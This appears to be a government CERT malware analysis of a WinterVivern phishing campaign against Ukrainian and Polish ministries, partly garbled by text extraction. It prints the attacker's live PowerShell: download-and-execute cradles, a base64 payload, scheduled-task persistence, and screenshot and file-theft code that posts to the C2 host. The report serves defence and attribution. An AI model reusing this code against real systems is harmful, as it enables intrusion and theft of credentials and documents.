UAC-0114

CAMPAIGN, TARGETING
UKRAINIAN AND POLISH GOV ENTITIES

February 2023

The State Cyber Protection Centre of
the State Service of Special Communication and Information
Protection of Ukraine

https://scpc.gov.ua/



Table of Contents

Foreword

Infection Chain Overview

Initial Access
Execution

Persistence

Command and Control

Data Exfiltration

Afterword

MITRE ATT&CK®Context

o o O »

10
12

14

15



Foreword

UAC-0114 (aka WinterVivern) is a group of undefined individuals (where Russian-speaking
members are present, highly likely) whose activity targets the European GOV entities.

Their recent campaign targeted Ukrainian and Polish government organizations, taking advantage
of fake web pages impersonating the legitimate web resources of the Ministry of Foreign Affairs
of Ukraine and the Central Cybercrime Bureau of Poland.

The adversary TTPs are quite common and known for using email subjects related to malware
scanning and benefiting from PowerShell scripts execution.

The analysis of recent campaign activity confirms that phishing technique remains the main
attack vector that adversaries use for gaining initial access.

However, Microsoft Excel documents with malicious XLM macros that distributed a RAT were
used in previous campaigns, attributed to the Wintervivern group.

Now a spearphishing link that leads to a fake website page hosting malware is used instead.

According to CERT-UA alert, the same technique was also used during the cyberattack,
conducted in June, 2022 with the usage of a spearphishing link leading to the fraudulent web
page imitating the web interface of the postal service of the Ministry of Defence of Ukraine.

One of the malicious .exe files named "Detection_of_malicious_software.exe" (APERETIF) that
was used during that cyberattack, contains specific path
"C:\Users\user_1\source\repos\Aperitivchick\Release\SystemProtector.pdb", that allows to
make assumption about the involvement of Russian-speaking members to the group with a high
level of confidence.

Based on the compilation date, the adversary activity with the usage of APERETIF malware can
be carried out no earlier than 25, May 2022.

Previously known exfiltration functionality was related to stealing highly detailed system
information (about operating system, computer hardware and software components; shared
domains, computers, or resources; network status and protocol statistics, network resources,
active system services statuses, active processes, current TCP/IP network configuration values,
applied group policies and so on) but it wasn't observed during the last campaign.

New PowerShell payload variants that contain instructions for data exfiltration are capable of
screen capturing and enumerating the files of specific extensions along with their content within
the Desktop folder.

Nevertheless, due to establishing persistence on the infected hosts, additional payloads can be
dropped and executed if needed.

The Cyber Incidents Response Operational Centre of the State Cyber Protection Centre of
Ukraine has prepared the detailed analysis of the activity representing the potential infection
chain is considered further in the report.


https://cert.gov.ua/article/3761104
https://www.virustotal.com/gui/file/a5115118908268569db2b1187b5b13b2cec9480585728d7da0abff38ecd771a6/detection
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Initial Access

On January 30, 2023, a phishing email targeting The Ministry of Foreign Affairs of Ukraine was sent to the
corporate email address from outside the organization (sender mfa_it_sec@outlook.com).

From MFA IT_Security <mfa_it_sec@outlook.com> ¥¥ € Reply | % Reply All v | = Forward | More v
Subject Lllogo saxucty indopmauii 30.01.2023, 16:33
To < @mfagov.ua> W

LWaHoBHI Koneru,

B pezynbTati ocTaHHbOI KibepaTtaku pocifcbKMX arpecopis Ha HALWKMX rPOMAAAH Biaainom iHGOpPMaLi¥HWMX TEXHOIOTIA BUABMAA WO Ha
KOMN'KOTEPaX BCTAHOBNEHO HE3aKOHHE Nporpamie sabesneueHHa.

Hawwum sigainom byno nigrotoeneHo nporpamue zabezneueHHn Ta iHCTPYKLiA AnA BUABAEHHSA BipyCiB.

060B'A2KOBO NpoUMUTaTE IHCTPYKUIT Ta AOTPUMYIATECH YCix LmX 4K, wob 3anobirtn BuToky iHbopmauii.

https://mfa.gov.ua/software/scanner/Ks025125s

3 Halikpawmmn nobaxaHHAMM,
Bigain inbopmauiitHux TexHonorii

MinicrepcTea 3aKopaoHHMX cnpae YKpainu

01018, m. Kuis, Muxaitniecbka niowa, 1
mfa_it_sec@mfa.gov.ua
(044) 247-32-11

fy

Fig2 - Phishing email

The link hxxps://troadsecow[.Jcom/mfa[.]gov[.]Jua was provided within the email. The link text indicates that it
would lead to mfa[.]gov[.]ua , but it actually leads to troadsecow[.Jcom , where a malicious .bat file is placed.

The web page hxxps://troadsecow[.Jcom/mfa[.]gov[.]Jua impersonates the legitimate website of the Ministry
of Foreign Affairs of Ukraine and lures a user to download the software for scanning PCs for viruses.

Spearphishing link was used instead of attaching the malicious file to the email itself, to avoid email
attachments inspection mechanisms (as the .bat file, placed on hxxps://troadsecow[.Jcom/mfa[.]gov[.Jua
webpage, has numerous AV detections).



3a0esnevyeHHs KidepOesnexu
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B pesyasrari ocTaEHBO] KifepaTake pocificBKHX arpecopi Ha HAIIHX TPOMATAH BilIiToM
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Fig3 - Malicious web-page hxxps.//troadsecow/.]Jcom/mfa[.]gov/.]ua

The user is assumed to click on “3aBaHTtaxutn” (“Download”) button, so that the file named “Protector.bat”

downloaded.

Execution

Once the wuser double-clicks to open the file

“Protector.bat”,

it

is

is executed with cmd.exe under

C:\Users\%USERPROFILE%\AppData\Local\Temp\ location, simulating the process of scanning the PC for
viruses. During execution, the message is displayed in the terminal window about the progress of scanning.


https://www.virustotal.com/gui/file/05457a790782542d3f16c9b8368a077b458ff7349856e6da541223a51e94b9c8/detection

Scan viruses signatures started.

Scaning...

powershell.exe -c "Start-Process -win hidden -filepath 'powershell.exe' -argumentlist ""
$a=whoami
n o ""[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {
$true}
iex (New-Object Net.WebClient).DownloadString('https://troadsecow.com/fjasmngptwq95824s.php')"""
3%% -
3>
7%%
2>
13%%
4
22%%
29%%
1
35%%
41%%
50%%
57%%
68%%
72%%
87%%
90%%
98%%
Virus not found

Fig4 - Content of Protector.bat file

Start-Process cmdlet is used to start the process on the local computer with the hidden state of the windows
used for the process. The -argumentlist parameter contains the context about the user who is currently logged
on to the local system (retrieved from C:\Windows\system32\whoami.exe execution). This context about the
user is used when the Start-Process cmdlet starts the process.

WebClient.DownloadString method is used to download the requested resource as a string. The resource to
download is specified as a URI (hxxps://troadsecow[.Jcom/fjasmngptwq95824s][.1php).

= C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Protector.bat"

= C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -c "Start-Process -win hidden -filepath 'powershell.exe' -argumentli
st ""“Sa=whoami;"",""[System.Net.ServicePointManager]::ServerCertificateValidationC
allback = { $true};iex (New-Object Net.WebClient).DownloadString('https://troadseco

w.com/fjasmngptwgq95824s.php' )" ""

m  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\vl.0\powershell.exe" $a=whoami;,[System.N
et.ServicePointManager]::ServerCertificatevValidationCallback = {$true};iex (New-
Object Net.WebClient).DownloadString('https://troadsecow.com/fjasmngptwq95824s.p
hp')

= C:\Windows\system32\whoami.exe

"C:\Windows\system32\whoami.exe"

Fig5h - Process tree



The unencoded response to the HTTPS GET request hxxps://troadsecow[.lcom/fjasmngptwq95824s][.]php
contains PowerShell payload that is processed with powershell.exe utility.

System.Security.Principal.Windowsldentity class is used to retrieve information about a Windows user (a
Windows NT security token). GetCurrent() method returns a Windowsldentity object representing the current
user. User SID is saved under $a variable that is further used for creating the custom crafted HTTPS request
of hxxps://troadsecow|[.]com/LG5362s5215098-xvbxzcnsaf4lmsal.]php?idU=<User SID> format.

GET /fjasmngptwg95824s.php HTTP/1.1
Host: troadsecow.com
Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Tue, 31 Jan 2023 08:50:43 GMT

Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k
X-Powered-By: PHP/7.2.24

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$a=([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value;iex (New-Object
Net.WebClient).DownloadString("https://troadsecow.com/LG5362s5215098-xvbxzcnsaf4lmsa.php?idU=$a")

Fig6 - Response to HTTPS GET request hxxps.//troadsecow/.Jcom/flasmngptwq95824s].Jphp

Persistence

The response to the custom crafted HTTPS GET request of
hxxps://troadsecow|.]Jcom/LG5362s5215098-xvbxzcnhsaf4lmsa[.]php?idU=<User SID> format contains
PowerShell payload that is processed with powershell.exe utility.

Request
GET /LG5362s55215098-xvbxzcnsaf4lmsa.php?idU= HTTP/1.1
Host: troadsecow.com

Response

HTTP/1.1 286 OK

Date: Tue, 31 Jan 20823 ©8:50:43 GMT

Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k
X-Powered-By: PHP/7.2.24

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

Fig7 - HTTPS GET request hxxps.//troadsecow/.]Jcom/LG5362s5215098-xvbxzcnsafd4lmsal.jphp?idU=<User SID>



$uname=whoami
$singleHost
$xmluri="""

regSchTask{
get-wmiobject -cla

ITCUNTH

regSchTaske{
$userId=get-wmiobject -cla

sendData($message){
message -ne (New-Object Net.Wwebclient). Uploadstrmg(SsmgleHost + "
2eda72d.php”, ($message -join "“r’n"))}}catc

ent) .Downloadstring($singleHost + °
»") ;if($com.Length -ge 1){iex $co

$runnable=try {nchtask<| $ -like "*9Dp36*"}}catch{};

$os=( stem osver‘slon) ver: major;

if($r unnable -eq $null){

if($os -le 6){regschraske|out-null;}else{regschTask|out-null;}
starter|out-null

}else{starter|out-null}

Fig8 - PowerShell payload, received in the response to HTTPS GET request
hxxps.//troadsecow/.]Jcom/LG5362s5215098-xvbxzcnsaf4imsal.]php?idU=<User SID>

This PowerShell payload contains instructions for downloading .xml file from the hardcoded URL
hxxps://troadsecow|[.]com/gkasinwqpasg/fx64g15g[.]xml and saving it under application data directory
(C:\Users\%USERPROFILE%\AppData\Roaming/XmISchemaMicrosoftXsd.xml location).

GET /gkaslnwgpasg/fx64g15g.xml HTTP/1.1
Host: troadsecow.com

HTTP/1.1 200 OK

Date: Tue, 31 Jan 2023 08:50:52 GMT

Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k
Last-Modified: Tue, 06 Sep 2022 14:48:34 GMT
ETag: "649-5e8034a617480"

Accept-Ranges: bytes

Content-Length: 1609

Content-Type: text/xml

Fig9 - HTTPS GET request hxxps.//troadsecow/. Jcom/gkasinwqpasg/tx64g15g[.]xml

The content of XmISchemaMicrosoftXsd.xml file describes the parameters of the scheduled task named
“Client_Update_Microsofts-{ITCUNTH-9D12-4RE1-8BWD-6HFI2D4FNI1I2}".
Depending on the infected Microsoft Windows system version, one of two functions (“regSchTask” or
“regSchTask0”) is executed that initiates the scheduled task creation.
The scheduled task “Client_Update_Microsofts-{ITCUNTH-9D12-4RE1-8BWD-6HFI2D4FNI1I2}" is launched
when the user logs on (LogonTrigger is set) and executed with next Idle conditions:

- Duration (“PT10M”): the computer should be idle for 20 min before starting the task;

- WaitTimeout (“PT1H"): the Task Scheduler will wait for an idle state to occur for 1h after a

task trigger is activated or after the task is started on demand.

If the idle condition ends, the task will be terminated.



When the scheduled task is launched, the following command is executed:

powershell.exe - w hidden - ¢ ""S$g = New - Object Net.Webclient;
Sg.credentials = [net.credentialcache]::DefaultNetworkCredentials;

iex $g.DownloadString ('hxxps://troadsecow[.]com/gkaslnwgpasg/usersfolders/<User
SID>/d866faee5ad9d0bafaabe0bfl0615acdbeb6l3efd[.]php') "

\Client_Update_Microsofts-{ITCUNTH-9D12-4RE1-8BWD-6HFI2D4FNI1I2}

true
$userId

Ignorehew
true
true

ug
alse

false
PT18M
PT1H
true

false

true

Context="Author"

powershell

Fig10 - The content of XmISchemaMicrosoftXsd.xml file

s C:\Windows\system32\schtasks.exe

"C:\Windows\system32\schtasks.exe" /create /xml C:\Users\ \AppData\Roaming/XmlSchemaMicros
oftXsd.xml /tn Client Update Microsofts-{ITCUNTH-9D12-4RE1-8BWD-6HFI2D4FNI1I2} /f

Fig11 - Scheduled task created Client_Update_Microsofts-{ITCUNTH-9D12-4RE1-8BWD-6HFI2ZD4FNI1/2}

Command and Control

This PowerShell script, received as a response to HTTPS request of
hxxps://troadsecow|.]Jcom/LG5362s5215098-xvbxzchsaf4lmsa[.]php?idU=<User SID> format also contains

instructions for establishing bidirectional C2 server communication with the usage of starter{} and
sendDataf} functions.



The starter{} function contains the WebClient.DownloadString method for sending HTTPS requests to the C2
server in order to get instructions.

In case the Length property of the string, received within the response to HTTPS request to a hardcoded

hxxps://troadsecow[.Jcom/gkasIinwqpasg/usersfolders/<User SID>/
b9a6a2f6a2e1d946182eb464c9a64ab760953a77[.]Jphp resource is greater or equal (-ge comparison

operator is used for validation) to “1” (if the response body is not empty), Invoke-Expression cmdlet forces
the execution of the received payload.

HTTPS requests to a hardcoded URL hxxps://troadsecow[.Jcom/gkasIinwqpasg/usersfolders/<User SID>/
b9a6a2f6a2e1d946182eh464c9a64ab760953a77[.]php are sent periodically with 10s interval in order to
check for the availability of new commands, received from the C2 server.

GET /gkaslnwgpasg/usersfolders/ /b9aba2f6a2eld946182eb464c9a64ab760953a77 . php
HTTP/1.1
Host: troadsecow.com

HTTP/1.1 208 OK

Date: Tue, 31 Jan 2023 08:51:14 GMT

Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k
X-Powered-By: PHP/7.2.24

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

$a =

[system.text.encoding]: :UTF8.getString([system.convert]: : frombase64string("TmV3LU10ZWOgL VBhdGgel2MEXFVZzZX] zXFB1YmxpY1wnIC10
YW11ICdNaWNyb3NvZnRVcGRhdGYDbG11bnQnIC11dGVEVHIWZSANZGly ZWN@b3J5]zsNCINOYXIBLVByb2M1c3MgL XdpbmRvd3N@eWx1IG6hpZGR1biAtRmlsZVB
hdGggInBvd2Vyc2hlbGwuZXh1IiAtQXIndWllbnRMaXNOIHSNC1tSZWZsZWN@aWIuLkFzc2VtYmx5XTo6TG9hZFdpdGhQYXI0aWFsTmFtZSgnU31zdGVELkRyYX
dpbmcnKTsNCmZ1bmN@aW9IuIHN]cmV1bnNob3QoWaRyYXdpbmculUmVjdGFuZ2x1XSRib3VuZHMs ICRwYXRoKSB71GItcCA9IES51dy1PYmplY3QgRHIhd21uZy5Ca
XRtYXAgIGIvdWSkeyS3aWR@alweglGIvdSkeySoZWlnaHQ7DQokZ3IheGhpY3MgPSBbRHIhd21uZySHemFwaGljc1060kZyb21IbWFnZSgkYmlwKT sNCiRncmPw
aGljcy5Db3B5SRnIvbVNjcmV1bigkYm91bmRzLkxvY2F@aW9uLCBbRHIhd21uZy5Qb21udFR60kVEcHRSLCAKYmI1bmRzLnNpemUpOwlKIGItcCS5TYXZ1KCRwYXR
oKTsNCiRnemFwaGljcy5EaXNwb3N1KCk7DQokYmlwl kRpe3Bve2UokKX@7DQokYm91bmRz ID@gWORyYYXdpbmcuUmVjdGFuZ2x1XTo6RnIvbUxUUkIoMCwgMCwgMT
kwMCwgMTAAMCk7DQpmdW5jdG1vbiBkb3dsb2FkRm1 s ZVVQKCRmKXskbmFtZT@kZ 15y ZXBsYWNIKCc6XCesIyeplnl1cGxhY2Uol1wnl Covlyk7DQokdmFsdT@oW
1N5¢3R1bS5TZWN1ecm1@eS5QcmluY21wYhwuV21uZG93c@1kZW50aXR5XTob6R2VOQ3Vy cmVudCgpKS5Ve2Vy L 1ZhbHV10wOKJHZ1PSR2YWx1KyRuYW110woKSW52
b2t11VI1c3RNZXRob2Qgl VWyaSAnaHRAcHMEL y9@cmIhZHNTY293 L mhvbS83NmIgYTIxNDEy | 2M2YmQAMDFkODgyMzMz ZmR10TNkZDE 3MzA4Y JNIMmR1M2E30GN
JMDVFLnBocCcglU11dGhvZCBQb3NOIC1IbkZpbGUglGYgLUhLIYWR1cnMgQHsnZmls ZWShbWUNPSR2dX0gLVVzZUR1ZmF1bHRDcmVkZWS5@aWF sc307DQokaTowiw
0Kd2hpbGUoJHRy dWUpewdkKIGk9IGkrMTskZj@nYzpcVXN1cnlcUHVibG1 jXE1pY3Ive29md FVwZ GFAZUNs alWWudFxNaWhyb3NvZnRFdXBkYXR1X3Rvb2xflyska
SsnLmRhdCc7DQpzY3J1ZW52zaG90ICRib3VuZHMgIGY7DQpzbGV1cCAXOWOKZGI3bGOhZEZpbGVWUCEkZik7DQpzbGV1cCASOWOKcmVtb3Z1LW10ZWeglGYgLUZv
cmi1DQp9DQpo0weKIGFyZyASTCckYSA9TFtFbnZpcm9ubiWVudF@60kd1dEZvbGR1c1BhdGgoXCIEZXNrdGI9wXCTpK1wiXCpcTjsobHMgl VBhdGeglGEg L VI1Y3V
yc2UpLkZ1bGxOYW11fD97KCRFIC1saWt1IFwiKi517GIcIikglW9yICgkXyAtbGlrZSBcIiouZWlzXCIpIClveiAoIF8gLWxpa2UgXCIgLmvtZViniKSAtb3IgKC
RFfIC1salt1TFwiKi51bXpcTikgl WOy TCgkXyAtbGlrZSBcTioua2VsXCIpIClveiAolF8glWxpa2UgXCTIqlnBlbVwiKSAth3TgKCRFICTsalWt 1 TFwiKiSvdnBuX
CIpIClvciAolF8glxpa2UgXCIglmIhdFwiKSAtb3TgKCRFICLIsaWtl1TFwiKi5jZXIcIikegl WOyICekXyAtbGlrZSBcIioucDEYXCIpICiveiAolF8glhixpa2lg
XCTIgLmNmZ 1wikKSAth3TgKCRFIC1salt] TFwikKi5sh2dcTikgl WOy TCgkXyAtbG1lrZSBcTioudHh@XCIpTClveiAolF8gl Wxpa2UgXCIglnBkZ lwiKSAth3TgKCR
fIC1saWt1TFwiKiSkb2NcIikgl WOyICekXyAtbGlrZSBcIiouZG9jeFwiKSAtb3IgKCRFICIsaktlIFwiki54bHNcIikglWOyICgkXyAtbGlrZSBcIlioueGxzeF
wiKSAtb3TgKCRFIC1saWt1TFwiKiSyZGdcTi19THwgIXtThGV1cCAzO3RyeXsoTmV3LU91amVjdCBOZXQuV2ViY2xpZWSeKS5VeGxvYWRTdHIpbmcoXCJodHRwe
zovL3Ryb2Fkc2Vjb3cuY29tL zc2YmphMjEOMT IvYzZ1i7DgwMWQ40DI zMzNmZGI5M2REMT c zMDhiM2UyZGUzY T cAY2MwNV8xLnBocFwil CggKCRFKIwiIyMjXCIr
W3N5¢3R1bS5jb2527X10XTo6dGIiYXNINRzdHI pbmcolW1N5c3R1bS51Ty5GaWx 1XTo6UnmVhZEFsbEJ5dGVzZKCRFKSkpIC1gb21uIFwiYHIgblwiKS19Y2F@Y2h
7KCRFcnIvelswXS19fSc7DQpTdGFydC1Qem9j ZXNzIC13aWskb3dzdHlsZSBoaWRkZWAgl UZpbGYQYXRoICIwb3dlenNoZhxsLmVAZSIgl UFyZ3VEZW50TGlzdC
AkYXInOw==")) ; Invoke-Expression($a);

Fig12 - HTTPS GET request hxxps.//troadsecow]/. Jcom/gkasinwqpasg/usersfolders/<User
SID>/b9abaZf6a2el1d946182eb464c9ab64abr760953a77/.]php

The sendDataf} function contains WebClient.UploadString method for uploading the specified string
($message value joined with a new line character in our case) to the hardcoded URL

hxxps://troadsecow|.]Jcom/gkasIinwqpasg/usersfolders/<User SID>/
add6b7efddbb62cd0546057¢5c¢549d2742ed472d[.]Jphp using the POST method (if $message value is not

equal (-ne comparison operator is used for validation) to $null).



The value of $message corresponds to the result of the string execution, received within the response to
the HTTPS request to a hardcoded hxxps://troadsecow|[.Jcom/gkasinwqpasg/usersfolders/<User SID>/
b9a6a2f6a2e1d946182eb464c9a64ab760953a77[.]php resource.

HTTP/1.1 100 Continue

POST /gkaslnwgpasg/usersfolders/ /
add6b7efddbb62cd0546057c5c549d2742ed472d.php HTTP/1.1

Host: troadsecow.com

Content-Length: 37

Expect: 100-continue

C:\Users\Public\MicrosoftUpdateClientHTTP/1.1 200 OK
Date: Tue, 31 Jan 2023 08:51:25 GMT

Server: Apache/2.4.37 (centos) OpenSSL/1.1.1k
X-Powered-By: PHP/7.2.24

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8

Fig13 - HTTPS POST request to hxxps.//troadsecow/.]Jcom/gkasinwgpasg/usersfolders/<User
SID>/add6b7efddbb62cd0546057¢c5c549d2742ed4724d[. Jphp

Data Exfiltration

The only variant of base64-encoded content received with HTTPS response to

hxxps://troadsecow|[.Jcom/gkasinwqpasg/usersfolders/<User SID>/
b9a6a2f6a2e1d946182eb464c9a64ab760953a77[.]php corresponds to another PowerShell payload, that
contains the functionality of taking screenshots and recursive scanning the Desktop folder for files with the
specified extensions and sending it in base64-encoded format to hardcoded URLs.

The System.Drawing object within the screenshot{} function is used to capture the screenshots

(CopyFromScreen method is used for a bit-block transfer of color data, corresponding to a rectangle of
pixels, from the screen) on the infected machine of custom width and height.

New-Item -Path 'c:\Users\Public\' -Name 'MicrosoftUpdateClient' -ItemType ‘directory’;
Start-Process -windowstyle -FilePath "powershell -ArgumentlList {

[ ]: :LoadWithPartialName( 'System.Dran )

g")
screenshot ( $bounds, $path) {$bmp = New-Object Drawing.Bitmap $bounds.width, $bounds.height;

$graphics = : :FromImage($bmp);

$graphics.CopyFromScreen($bounds.Location, [ ]: :Empty, $bounds.size);

$bmp.Save($path);

$graphics.Dispose();

$bmp .Dispose()};

$bounds = [ ]::FromLTRB(@, @, 1900, 188@);
dowloadFileUP ($f ame=$f.replace(':\',"").replace('\"',"/");

$valu=([ ]::GetCurrent()).User.Value;

$vu=$valu+$name;

Invoke-RestMethod -Uri 'htt 7 A 214 d8e1d8s8 b93dd17368b3e2de3a78cc@®5_.php' -Method Post -InFile $f -Headers

‘filename'=$vu} -UseDefaultCredentials};

$i=e;

while( ){

$i=$i+1;%$f="c:\Users\Public\MicrosoftUpdateClient\Microsoft_update_tool_'+$i+'.dat’;

screenshot $bounds $f;

sleep 1;

dowloadFileUP($f);

sleep 9;

remove-item $f -Forcel};

3

= [Environment

{Sleep 3;try N lient).UploadStrin
2de3a78cc@5_1.ph ( ($_+\" \" stem.convert]: :tobase6:
atch{($Error[©])}}';
-FilePath "powershell.exe" -ArgumentlList $arg;

Fig14 - PowerShell payload for exfiltrating data



New directory C:\Users\Public\MicrosoftUpdateClient is created and the screenshot is saved under

C:\Users\Public\MicrosoftUpdateClient\Microsoft_update_tool_<counter>.dat location, where counter is the
value appointed after incrementing the operand $i.

= C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\vl.O\powershell.exe"
[Reflection.Assembly]::LoadWithPartialName( 'System.Drawing');

function screenshot([Drawing.Rectangle]$bounds, $path) {$bmp = New-Object Drawing.Bitmap $boun
ds.width, $bounds.height;

$graphics = [Drawing.Graphics]::FromImage ($bmp);

$graphics.CopyFromScreen ($bounds.Location, [Drawing.Point]::Empty, $bounds.size);
$bmp.Save($path) ;

$graphics.Dispose();

$bmp.Dispose()};

$bounds = [Drawing.Rectangle]::FromLTRB(0, 0, 1900, 1080);
function dowloadFileUP($f){$name=Sf.replace(':\',"'"').replace('\',"'/"');
$valu=([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value;

$vu=$valu+$name;

Invoke-RestMethod -Uri 'https://troadsecow.com/76bja21412/c6bd801d882333fdb93dd17308b3e2de3a78
cc05 .php' -Method Post -InFile $f -Headers @{'filename'=$vu} -UseDefaultCredentials};

$i=0;

while($true){
$i=$i+1;$f="c:\Users\Public\MicrosoftUpdateClient\Microsoft update tool '+$i+'.dat';
screenshot S$bounds $f;

sleep 1;
dowloadFileUP($f);
sleep 9;

remove-item $f -Force
}

Fig15 - The process of screenshots making and sending to C2 server, processed with powershell.exe

After base64-encoded screenshot is sent over HTTPS POST request to a hardcoded URL
hxxps://troadsecow|.]Jcom/76bja21412/c6bd801d882333fdb93dd17308b3e2de3a78cc05_[.]php , it is
forcely deleted from C:\Users\Public\MicrosoftUpdateClient\Microsoft_update_tool_<counter>.dat location.

HTTP/1.1 100 Continue

POST /76bja21412/c6bd801d882333fdh93dd17308b3e2de3a78cc05_.php HTTP/1.1

filename: cUsers/Public/MicrosoftUpdateClient/Microsoft_update_tool_1.dat
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.15063.0

Content-Type: application/x-www-form-urlencoded

Host: troadsecow.com

Content-Length: 226818

Expect: 100-continue

Connection: Keep-Alive

.PNG

Fig16 - Screenshot sent via HTTPS POST request

The same PowerShell payload, received with the response to
hxxps://troadsecow|[.Jcom/gkasinwqpasg/usersfolders/<User SID>/
b9a6a2f6a2e1d946182eb464c9a64ab760953a77[.]Jphp resource request, also describes cmdlets
execution for recursive scanning the Desktop folder for files with the specified extensions (.edb, .ems, .eme,
.emz, .key, .pem, .ovpn, .bat, .cer, .p12, .cfg, .log, .txt, .pdf, .doc, .docx, .xls, .xIsx, .rdg).



= C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\vl.0\powershell.exe" $a = [Environment]::GetFolderPath
(\"Desktop\")+\"\*\"; (1s -Path $a -Recurse).FullName|?{($_ -like \"*.edb\") -or ($_ -like \"*.
ems\") -or ($_ -like \"*.eme\") -or ($_ -like \"*.emz\") -or ($_ -like \"*.key\") -or ($_ -1lik
e \"*.pem\") -or ($_ -like \"*.ovpn\") -or ($_ -like \"*.bat\") -or ($_ -like \"*.cer\") -or
($_ -like \"*.pl2\") -or ($_ -like \"*.cfg\") -or ($_ -like \"*.log\") -or ($_ -like \"*.txt
\") -or ($_ -like \"*.pdf\") -or ($_ -like \"*.doc\") -or ($_ -like \"*.docx\") -or ($_ -like
\"*.x1s\") -or ($_ -like \"*.x1lsx\") -or ($_ -like \"*.rdg\")} | %{Sleep 3;try{(New-Object Ne
t.Webclient) .UploadString(\"https://troadsecow.com/76bja21412/c6bd801d882333fdb93dd17308b3e2de
3a78cc05_1.php\", ( ($_+\"###\"+[system.convert]::tobase64string([System.IO.File]::ReadAllBytes
($_))) -join \""r’n\"))}catch{($SError[0])}}

Fig17 - The process of enumerating files under Desktop folder and sending to C2 server, processed with powershell.exe

The unencoded full paths to the files, that match the searching criteria, as well as with their content (in
base64-encoded format) are delimited with “###” separator and sent via POST request to the hardcoded
URL hxxps://troadsecow|.]Jcom/76bja21412/c6bd801d882333fdb93dd17308b3e2de3a78cc05_1].]php .

POST /76bja21412/c6bd801d882333fdb93dd17308b3e2de3a78cc05_1.php HTTP/1.1
Host: <C2 server>

Content-Length: 163

Expect: 100-continue

C:\Users\  \Desktop\ :
Ixt### <base64-encoded content of the file>

Fig18 - POST request to hxxps.//troadsecow/.Jcom/76bja21412/c6bd801d882333fdb93dd17308b3e2de3a78cc05_1].]php

Afterword

Analyzing the activity that was previously described and attributed to WinterVivern group by DomainTools
and Lab52, next similarities can be noticed:

similar code structure and syntax (even with the same function names and whole sections),
used for describing payloads functionality;

active usage of PowerShell instrumentarium for malicious code execution on the infected PC;
abusing the Windows Management Instrumentation (WMI) in order to retrieve information
about the active user account on a computer running infected Windows system version;

the same mechanism of checking the infected Windows system version is used in order to
define which function (out of two variants) will be used to initiate the scheduled task creation;
downloaded .xml document is used to establish the scheduled task for persistence;

using a similar scheduled task name format;

the same logic of functions starter{}, sendData{} are used for establishing persistence by
periodic execution for checking the availability of nhew commands from the C2 server,
executing them and sending the result back.

Therefore, the activity, analyzed in this report, can be attributed to the UAC-0114 (aka WinterVivern) group
(referring to the keyword that was used in the URL path during previous campaigns) with a high level of

confidence.


https://www.domaintools.com/resources/blog/winter-vivern-a-look-at-re-crafted-government-maldocs/
https://lab52.io/blog/winter-vivern-all-summer/
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